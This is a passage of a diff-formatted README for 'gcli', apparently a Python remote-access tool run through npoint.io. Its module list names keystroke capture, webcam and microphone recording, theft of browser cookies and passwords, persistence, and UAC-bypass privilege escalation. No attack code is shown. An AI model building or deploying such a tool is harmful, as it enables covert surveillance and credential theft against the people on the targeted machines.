| `:arp` | ARP table |
|
|
236
|
+
| `:hosts <ip> <host>` | Add hosts file entry |
|
|
237
|
+
|
|
238
|
+
### Registry (Windows)
|
|
239
|
+
|
|
240
|
+
| Command | Description |
|
|
241
|
+
|---------|-------------|
|
|
242
|
+
| `:reglist <key>` | List values in key |
|
|
243
|
+
| `:regread <key> [val]` | Read registry value |
|
|
244
|
+
| `:regwrite <key> <n> <v>` | Write value |
|
|
245
|
+
| `:regdelete <key> <val>` | Delete value |
|
|
246
|
+
| `:regsubkeys <key>` | List subkeys |
|
|
247
|
+
| `:regsearch <query>` | Search registry |
|
|
248
|
+
|
|
249
|
+
## Architecture
|
|
250
|
+
|
|
251
|
+
```
|
|
252
|
+
gcli/
|
|
253
|
+
├── __main__.py # CLI entry point
|
|
254
|
+
├── __init__.py
|
|
255
|
+
├── crypto.py # AES-256-GCM + PBKDF2 key cache + zlib compression
|
|
256
|
+
├── npoint.py # npoint.io API (persistent HTTPS connection pool)
|
|
257
|
+
├── protocol.py # Document structure, race-condition safe append
|
|
258
|
+
├── host.py # Daemon: poll → decrypt → dispatch → encrypt → respond
|
|
259
|
+
├── client.py # SSH REPL with 100+ commands
|
|
260
|
+
├── utils.py # PID management, detach, system_info
|
|
261
|
+
├── colors.py # Cross-platform ANSI colors
|
|
262
|
+
├── session.py # Handshake, heartbeat, key rotation
|
|
263
|
+
├── fileops.py # ls, tree, mkdir, rm, stat, cp, mv, find, du
|
|
264
|
+
├── processes.py # ps, kill, process_info, env, uptime, network_info
|
|
265
|
+
├── clipboard.py # Clipboard sync
|
|
266
|
+
├── netutils.py # HTTP, DNS, port check, traceroute, speed test
|
|
267
|
+
├── aliases.py # Command aliases & scripting
|
|
268
|
+
├── security.py # Rate limiting, audit log, threat detection
|
|
269
|
+
├── output.py # Pagination, syntax highlighting, diff format
|
|
270
|
+
├── monitoring.py # CPU, memory, disk, processes, temperature
|
|
271
|
+
├── system.py # Netstat, services, screenshot, shell history, grep
|
|
272
|
+
├── automation.py # Bulk exec, repeat, cron, watchdog, env snapshot
|
|
273
|
+
├── forensics.py # File hash, integrity, recent files, USB, suspicious processes
|
|
274
|
+
├── transfer.py # Chunked file transfer, checksum, diff, split/merge
|
|
275
|
+
├── webcam.py # Camera capture & recording
|
|
276
|
+
├── audio.py # Microphone recording & levels
|
|
277
|
+
├── keylog.py # Keystroke capture
|
|
278
|
+
├── persistence.py # Startup, scheduled tasks, watchdog
|
|
279
|
+
├── browser.py # Browser history, cookies, bookmarks, passwords
|
|
280
|
+
├── wifi.py # WiFi management (scan, connect, profiles)
|
|
281
|
+
├── elevator.py # Privilege escalation (UAC bypass, sudo)
|
|
282
|
+
├── network_config.py # DNS, proxy, firewall, ARP, hosts
|
|
283
|
+
└── registry.py # Windows registry operations
|
|
284
|
+
```
|
|
285
|
+
|
|
286
|
+
## Requirements
|
|
287
|
+
|
|
288
|
+
- Python 3.8+
|
|
289
|
+
- `cryptography` package (required)
|
|
290
|
+
- `psutil` (optional — better process/system monitoring)
|
|
291
|
+
- `sounddevice` (optional — audio recording)
|
|
292
|
+
- `opencv-python` (optional — webcam capture)
|
|
293
|
+
- `pynput` (optional — keylogging on Linux/macOS)
|
|
294
|
+
- Internet connection (for npoint.io)
|
|
295
|
+
|
|
296
|
+
## License
|
|
297
|
+
|
|
298
|
+
MIT
|